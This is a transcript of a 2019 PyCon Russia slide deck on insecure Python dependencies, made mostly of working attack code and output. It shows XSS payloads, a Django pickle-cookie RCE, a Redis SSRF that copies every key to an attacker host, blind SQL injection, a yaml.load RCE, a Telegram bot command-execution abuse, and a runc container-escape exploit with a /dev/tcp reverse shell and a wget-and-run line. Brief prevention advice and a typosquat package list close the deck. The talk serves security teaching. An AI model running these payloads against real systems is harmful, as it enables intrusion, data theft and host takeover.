Upgrade to Pro — share decks privately, control downloads, hide ads and more …

PyconRU 2019. (Un)safe dependencies.

Sponsored · SiteGround - Reliable hosting with speed, security, and support you can count on.

PyconRU 2019. (Un)safe dependencies.

Avatar for Ivan Tsyganov

Ivan Tsyganov

June 24, 2019
Tweet

More Decks by Ivan Tsyganov

Other Decks in Programming

Transcript

  1. <script> document.addEventListener( 'DOMContentLoaded', function(event) { $.ajax({ url:'/api/goods/', success: function(result) {

    $(result).each(function() { $.ajax({ url:'/api/goods/'+this.id+'/', type:'DELETE' }) }) } }) } ); </script> http: //example.com
  2. <script> document.addEventListener( 'DOMContentLoaded', function(event) { $.ajax({ url:'/api/goods/', success: function(result) {

    $(result).each(function() { $.ajax({ url:'/api/goods/'+this.id+'/', type:'DELETE' }) }) } }) } ); </script> http: //example.com
  3. <script> document.addEventListener( 'DOMContentLoaded', function(event) { $.ajax({ url:'/api/goods/', success: function(result) {

    $(result).each(function() { $.ajax({ url:'/api/goods/'+this.id+'/', type:'DELETE' }) }) } }) } ); </script> http: //example.com
  4. ... APPEND_SLASH = True ... settings.py urlpatterns = [ ...

    re_path(r'^(.*)/$', universal_view), ... ] urls.py
  5. def universal_view(request, path=None): env = SandboxedEnvironment(loader=PackageLoader('core', 'templates')) return HttpResponse( env.from_string(

    f'{{% extends "error.html" %}}' f'{{% block error_msg %}} ' f'<b>Requested path </b>: {path} not found' f'{{% endblock %}}' ).render(request=request) )
  6. def universal_view(request, path=None): env = SandboxedEnvironment(loader=PackageLoader('core', 'templates')) return HttpResponse( env.from_string(

    f'{{% extends "error.html" %}}' f'{{% block error_msg %}} ' f'<b>Requested path </b>: {path} not found' f'{{% endblock %}}' ).render(request=request) )
  7. def universal_view(request, path=None): env = SandboxedEnvironment(loader=PackageLoader('core', 'templates')) return HttpResponse( env.from_string(

    f'{{% extends "error.html" %}}' f'{{% block error_msg %}} ' f'<b>Requested path </b>: {path} not found' f'{{% endblock %}}' ).render(request=request) )
  8. def universal_view(request, path=None): env = SandboxedEnvironment(loader=PackageLoader('core', 'templates')) return HttpResponse( env.from_string(

    f'{{% extends "error.html" %}}' f'{{% block error_msg %}} ' f'<b>Requested path </b>: {path} not found' f'{{% endblock %}}' ).render(request=request) ) {{ "{x.__name__}".format_map(dict(x=request.get_host)) }}
  9. from django.core import signing from django.contrib.sessions.serializers import PickleSerializer def decode_sid(SID):

    return signing.loads( SID, key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_', serializer=PickleSerializer, max_age=1209600, salt='django.contrib.sessions.backends.signed_cookies', ) decode_sid('gASVMgAAAAAAAAB9lIwEdXVpZJSMJGM3ODgwM ...R2DK7jU') {'uuid': 'c78801e9-db4c-4f88-b988-f47a7f3ad172'}
  10. def encode_sid(command): class Evil(): def __reduce__(self): import subprocess return (subprocess.getoutput,

    (command, )) return signing.dumps( { 'uuid': '', 'evil': Evil() }, key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_', compress=True, salt='django.contrib.sessions.backends.signed_cookies', serializer=PickleSerializer, ) encode_sid("cat /etc/passwd") 'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'
  11. def encode_sid(command): class Evil(): def __reduce__(self): import subprocess return (subprocess.getoutput,

    (command, )) return signing.dumps( { 'uuid': '', 'evil': Evil() }, key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_', compress=True, salt='django.contrib.sessions.backends.signed_cookies', serializer=PickleSerializer, ) encode_sid("cat /etc/passwd") 'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'
  12. def encode_sid(command): class Evil(): def __reduce__(self): import subprocess return (subprocess.getoutput,

    (command, )) return signing.dumps( { 'uuid': '', 'evil': Evil() }, key='-pt60pdz*)igai3kui9h1c#xverctogytxq6^ek=o6v12e%-*_', compress=True, salt='django.contrib.sessions.backends.signed_cookies', serializer=PickleSerializer, ) encode_sid("cat /etc/passwd") 'gASVRwAAAAAAAAB9lCiMBHV1aWSUjAC ...dEBLRDs4C0uLGQ5mzkLy-K_fKnc'
  13. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  14. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  15. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  16. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  17. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] )
  18. import requests def decode_sid(SID): ... def encode_sid(command): ... result =

    decode_sid( requests.get( 'http: //target.com', cookies={ 'sessionid': encode_sid( command='cat /etc/passwd' ) } ).cookies['sessionid'] ) >>> pprint.pprint(result) {'evil': 'root:x:0:0:root:/root:/bin/bash\n' 'daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n' 'bin:x:2:2:bin:/bin:/usr/sbin/nologin\n' 'sys:x:3:3:sys:/dev:/usr/sbin/nologin\n' 'sync:x:4:65534:sync:/bin:/bin/sync\n' 'games:x:5:60:games:/usr/games:/usr/sbin/nologin\n' 'man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n' 'lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n' 'mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n' 'news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n' 'uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n' 'proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n' 'gnats:x:41:41:Gnats Bug-Reporting System ' '(admin):/var/lib/gnats:/usr/sbin/nologin\n' '_apt:x:100:65534 ::/nonexistent:/bin/false', 'uuid': 'c3b29bac-3ce7-45a5-8680-3bd2a6e51307'}
  19. <meta Property="og:image" Content="https: //i.ebayimg.com/images/i/233117594563-0-1/s-l1000.jpg" /> <meta Property="og:title" Content="Python Cookbook, 3rd

    Edition, PDF ... | eBay" /> <meta Property="og:url" Content="https: // www.ebay.com/itm/Python-Cookbook- ...-for-Mastering-Python-" /> <meta Property="og:description" Content="If you need help writing programs in Python ... application domains." />
  20. <meta Property="og:image" Content="https: //i.ebayimg.com/images/i/233117594563-0-1/s-l1000.jpg" /> <meta Property="og:title" Content="Python Cookbook, 3rd

    Edition, PDF ... | eBay" /> <meta Property="og:url" Content="https: // www.ebay.com/itm/Python-Cookbook- ...-for-Mastering-Python-" /> <meta Property="og:description" Content="If you need help writing programs in Python ... application domains." /> ... <meta property="og:title" content="Some <script>$.ajax({url:'http: //evil.com/some_unique_path'}) </ script>Title" /> ...
  21. [01/Jan/2010:08:29:26 +0000] "GET /some_unique_path HTTP/1.1" 404 659 "-" "Mozilla/5.0 (Macintosh;

    Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Some <script> $.ajax({ url:'http: //evil.com/some_unique_path' }) </script> Title
  22. <html> <head> <script type="text/javascript" src="evil-site"> </script> <link rel="alternate" type="text/rss" src="evil-rss">

    <link rel="alternate" type="text/rss" href="http: //example.com"> <link rel="stylesheet" type="text/rss" href="http: //example.com"> <meta property="og:url" content="http: //bad_url/" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Some <script>if (document.cookie.includes('hckd') ===false){$.ajax({url:'/logout', success:function(resp) {document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893'; document.cookie='hckd=1'; window.location.href='/'}})} </script> Title" /> <meta property="og:description" content="Some description" /> <title>Very cool item </title> </head> ...
  23. <html> <head> <script type="text/javascript" src="evil-site"> </script> <link rel="alternate" type="text/rss" src="evil-rss">

    <link rel="alternate" type="text/rss" href="http: //example.com"> <link rel="stylesheet" type="text/rss" href="http: //example.com"> <meta property="og:url" content="http: //bad_url/" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Some <script>if (document.cookie.includes('hckd') ===false){$.ajax({url:'/logout', success:function(resp) {document.cookie='SESSIONID=aabb938c659e4f3cbed7210524dc9757'; document.cookie='hckd=1'; window.location.href='/'}})} </script> Title" /> <meta property="og:description" content="Some description" /> <title>Very cool item </title> </head> ... <script> if (document.cookie.includes('hckd') ===false) { $.ajax({ url:'/logout', success:function(resp){ document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893'; document.cookie='hckd=1'; window.location.href='/' } }) } </script>
  24. <html> <head> <script type="text/javascript" src="evil-site"> </script> <link rel="alternate" type="text/rss" src="evil-rss">

    <link rel="alternate" type="text/rss" href="http: //example.com"> <link rel="stylesheet" type="text/rss" href="http: //example.com"> <meta property="og:url" content="http: //bad_url/" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Some <script>if (document.cookie.includes('hckd') ===false){$.ajax({url:'/logout', success:function(resp) {document.cookie='SESSIONID=aabb938c659e4f3cbed7210524dc9757'; document.cookie='hckd=1'; window.location.href='/'}})} </script> Title" /> <meta property="og:description" content="Some description" /> <title>Very cool item </title> </head> ... <script> if (document.cookie.includes('hckd') ===false) { $.ajax({ url:'/logout', success:function(resp){ document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893'; document.cookie='hckd=1'; window.location.href='/' } }) } </script>
  25. <html> <head> <script type="text/javascript" src="evil-site"> </script> <link rel="alternate" type="text/rss" src="evil-rss">

    <link rel="alternate" type="text/rss" href="http: //example.com"> <link rel="stylesheet" type="text/rss" href="http: //example.com"> <meta property="og:url" content="http: //bad_url/" /> <meta property="og:type" content="article" /> <meta property="og:title" content="Some <script>if (document.cookie.includes('hckd') ===false){$.ajax({url:'/logout', success:function(resp) {document.cookie='SESSIONID=aabb938c659e4f3cbed7210524dc9757'; document.cookie='hckd=1'; window.location.href='/'}})} </script> Title" /> <meta property="og:description" content="Some description" /> <title>Very cool item </title> </head> ... <script> if (document.cookie.includes('hckd') ===false) { $.ajax({ url:'/logout', success:function(resp){ document.cookie='SESSIONID=7d58112080ed4c6dbcb05c560bcbc893'; document.cookie='hckd=1'; window.location.href='/'; } }) } </script>
  26. EVAL " for _, key in ipairs(redis.call('KEYS', '*')) do redis.call(

    'MIGRATE', 'evils_redis_host', 6379, key, 0, 5000, 'COPY', 'REPLACE' ) end" 0
  27. EVAL " for _, key in ipairs(redis.call('KEYS', '*')) do redis.call(

    'MIGRATE', 'evils_redis_host', 6379, key, 0, 5000, 'COPY', 'REPLACE' ) end" 0
  28. EVAL " for _, key in ipairs(redis.call('KEYS', '*')) do redis.call(

    'MIGRATE', 'evils_redis_host', 6379, key, 0, 5000, 'COPY', 'REPLACE' ) end" 0
  29. http: //redis:6379/?q=HTTP/1.1 \r\n EVAL "for _,k in ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do

    redis.call('\''MIGRATE'\'', '\''evils_redis_host'\'', 6379, k, 0, 5000, '\''COPY'\'', '\''REPLACE'\'') end" 0 \r\n
  30. curl --request POST \ --url http: //target.com/goods \ --header 'content-type:

    application/x- www-form- urlencoded' \ --data 'url=http: //redis:6379/?q=HTTP/ 1.1%0D%0AEVAL "for _,k in ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do redis.call('\''MIGRATE'\'', '\''evils_redis_host'\'', 6379, k, 0, 5000, '\''COPY'\'', '\''REPLACE'\'') end" 0 %0D%0A'
  31. curl --request POST \ --url http: //target.com/goods \ --header 'content-type:

    application/x- www-form- urlencoded' \ --data 'url=http: //redis:6379/?q=HTTP/ 1.1%0D%0AEVAL "for _,k in ipairs(redis.call('\''KEYS'\'', '\''*'\'')) do redis.call('\''MIGRATE'\'', '\''evils_redis_host'\'', 6379, k, 0, 5000, '\''COPY'\'', '\''REPLACE'\'') end" 0 %0D%0A'
  32. 127.0.0.1:6379> KEYS * 1) "SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a" 2) "SESSIONID_b4bb7f94651d4d1496908b9a69150f03" 3) "SESSIONID_af90efcc865f4433adcd51625c9120b4" 4)

    "SESSIONID_8f07943134724991b6a356f6b75b7030" 5) "SESSIONID_ee1eab3a789d4d63a6be31a579c98a55" 6) "SESSIONID_d3b016fa73c6422b9166553e3783a78e" 127.0.0.1:6379> GET SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a "{\"created\": 1559895192, \"session\": {\"username\": \"admin\", \"role\": \"admin\"}}"
  33. 127.0.0.1:6379> KEYS * 1) "SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a" 2) "SESSIONID_b4bb7f94651d4d1496908b9a69150f03" 3) "SESSIONID_af90efcc865f4433adcd51625c9120b4" 4)

    "SESSIONID_8f07943134724991b6a356f6b75b7030" 5) "SESSIONID_ee1eab3a789d4d63a6be31a579c98a55" 6) "SESSIONID_d3b016fa73c6422b9166553e3783a78e" 127.0.0.1:6379> GET SESSIONID_f97f4d3353da4c87b8fdc7fdce12a51a "{\"created\": 1559895192, \"session\": {\"username\": \"user1\", \"role\": \"user\"}}"
  34. curl --request POST \ --url http: //127.0.0.1/goods \ --header 'content-type:

    application/x- www-form-urlencoded' \ --data 'url=http: //redis:6379/?q=HTTP/1.1%0D%0ASET SESSIONID_ee1eab3a789d4d63a6be31a579c98a55 "{\"created\": 1559895192, \"session\": {\"username\": \"admin\", \"role\": \"admin\"}}"%0D%0AX:%0D%0A'
  35. id limit ( CASE WHEN( SELECT true FROM information_schema.tables WHERE

    table_name ~ '.*user.*' limit 1 ) then 1 else 0 end )
  36. id limit ( CASE WHEN( SELECT true FROM information_schema.tables WHERE

    table_name ~ '.*user.*' limit 1 ) then 1 else 0 end )
  37. id limit ( CASE WHEN( SELECT true FROM information_schema.tables WHERE

    table_name ~ '.*user.*' limit 1 ) then 1 else 0 end ) id limit ( CASE WHEN( SELECT true FROM information_schema.tables WHERE table_name = 'user' limit 1 ) then 1 else 0 end )
  38. id limit ( CASE WHEN( SELECT true FROM users WHERE

    role = 'admin' and login = 'admin' and password ~ '.{8}' limit 1 ) then 1 else 0 end
  39. id limit ( CASE WHEN( SELECT true FROM users WHERE

    role = 'admin' and login = 'admin' and password ~ '.{8}' limit 1 ) then 1 else 0 end id limit ( CASE WHEN( SELECT true FROM users WHERE role = 'admin' and login = 'admin' and password ~ 'passw0rd' limit 1 ) then 1 else 0 end
  40. items: - name: Simple item description: Simple item description url:

    http: //my_goods.com/item1 img: http: //my_goods.com/item1.png - name: Simple item 2 description: Simple item 2 description url: http: //my_goods.com/item2 img: http: //my_goods.com/item2.png
  41. items: - name: Simple item description: Simple item description url:

    http: //my_goods.com/item1 unknown_field: !!python/object/apply:subprocess.check_output args: - ['python', '-c', 'from urllib.request import urlopen; urlopen("http: //evil_nginx/evil.html").getcode(); exit(0);'] img: http: //my_goods.com/item1.png
  42. [1/Jan/2010:07:14:37 +0000] "GET /evil.html HTTP/1.1" 200 1126 "-" "Python-urllib/3.6" "-"

    items: - name: Simple item description: Simple item description url: http: //my_goods.com/item1 unknown_field: !!python/object/apply:subprocess.check_output args: - ['python', '-c', 'from urllib.request import urlopen; urlopen("http: //evil_nginx/evil.html").getcode(); exit(0);'] img: http: //my_goods.com/item1.png
  43. API_TOKEN = '<HIDDEN_TOKEN>' WEBHOOK_HOST = 'target.com' WEBHOOK_PORT = 443 WEBHOOK_LISTEN

    = '0.0.0.0' WEBHOOK_SSL_CERT = './cert.pem' WEBHOOK_SSL_PRIV = './privkey.pem' WEBHOOK_URL_BASE = "https: //%s:%s" % (WEBHOOK_HOST, WEBHOOK_PORT) WEBHOOK_URL_PATH = "/secret_bot_hook/"
  44. ... OWNER_ID = 11111111 ... @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID, content_types=['text'],

    commands=['run']) def run_command(message): try: import commands _, _, command = message.text.partition(' ') status, output = commands.getstatusoutput(command) bot.send_message(message.chat.id, output) except: from traceback import format_exc bot.send_message(message.chat.id, format_exc())
  45. ... OWNER_ID = 11111111 ... @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID, content_types=['text'],

    commands=['run']) def run_command(message): try: import commands _, _, command = message.text.partition(' ') status, output = commands.getstatusoutput(command) bot.send_message(message.chat.id, output) except: from traceback import format_exc bot.send_message(message.chat.id, format_exc())
  46. ... OWNER_ID = 11111111 ... @bot.message_handler(func=lambda message: message.from_user.id ==OWNER_ID, content_types=['text'],

    commands=['run']) def run_command(message): try: import commands _, _, command = message.text.partition(' ') status, output = commands.getstatusoutput(command) bot.send_message(message.chat.id, output) except: from traceback import format_exc bot.send_message(message.chat.id, format_exc())
  47. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  48. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  49. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  50. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  51. curl --request POST --url 'https: //target.com/ bot_hook/' --header 'content-type: application/json'

    --data '{"update_id": 0, "message": {"message_id": 0, "from": {"id": 11111111, "is_bot": false, "first_name": "Some", "last_name": "User", "username": "some_user", "language_code": "en"}, "chat": {"id": 777777777, "first_name": "Some", "last_name": "User", "username": "some_user", "type": "private"}, "date": 0, "text": "/run cat /etc/ passwd", "entities": [{"offset": 0, "length": 4, "type": "bot_command"}]}}'
  52. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE import os import stat target_file = '/bin/sh' with open(target_file, 'w') as evil: evil.write('#!/proc/self/exe') os.chmod(target_file, stat.S_IXOTH) write_handler = None while not write_handler: for pid in os.popen('ps -A -o pid'): pid = pid.strip() if pid == 'PID': continue try: with open(f'/proc/{pid}/cmdline', 'r') as cmdline: if cmdline.read().find('runc') >= 0: handler = os.open(f'/proc/{pid}/exe', os.O_PATH) handler_path=f'/proc/self/fd/{str(handler)}' write_handler = os.open(handler_path, os.O_WRONLY | os.O_TRUNC) break except Exception: continue payload = b'#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n' result = os.write(write_handler, payload) exploit.py
  53. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE import os import stat target_file = '/bin/sh' with open(target_file, 'w') as evil: evil.write('#!/proc/self/exe') os.chmod(target_file, stat.S_IXOTH) write_handler = None while not write_handler: for pid in os.popen('ps -A -o pid'): pid = pid.strip() if pid == 'PID': continue try: with open(f'/proc/{pid}/cmdline', 'r') as cmdline: if cmdline.read().find('runc') >= 0: handler = os.open(f'/proc/{pid}/exe', os.O_PATH) handler_path=f'/proc/self/fd/{str(handler)}' write_handler = os.open(handler_path, os.O_WRONLY | os.O_TRUNC) break except Exception: continue payload = b'#!/bin/bash\nbash -i >& /dev/tcp/127.0.0.1/4444 0>&1\n' result = os.write(write_handler, payload) exploit.py
  54. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE wget http: //evil.com/exploit.py -O exp.py && python exp.py
  55. root@attacker:/root# nc -k -l 4444 root@target:/root# whoami whoami root root@target:/root#

    cat /etc/passwd cat /etc/passwd root:x:0:0:root:/root:/bin/bash bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync ...
  56. App1 Django App2 aiohttp App3 telegram Pickle.load RCE yaml.load RCE

    Broken Access RCE runc allows attackers to overwrite the host runc binary
  57. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources
  58. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources distrib djanga easyinstall junkeldat libpeshka mumpy mybiubiubiu nmap-python openvc python-ftp pythonkafka python-mongo python-mysql python-mysqldb python-openssl python-sqlite smb virtualnv
  59. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov
  60. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov ✤ Use web application firewall
  61. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov ✤ Use web application firewall XSS CSRF Open redirect Error leakage SQL-injection XML-inject
  62. How to prevent ✤ Remove unused dependencies and documentation ✤

    Obtain components from pip or official sources ✤ Monitor https://cve.mitre.org and https://nvd.nist.gov ✤ Use web application firewall ✤ Configure used software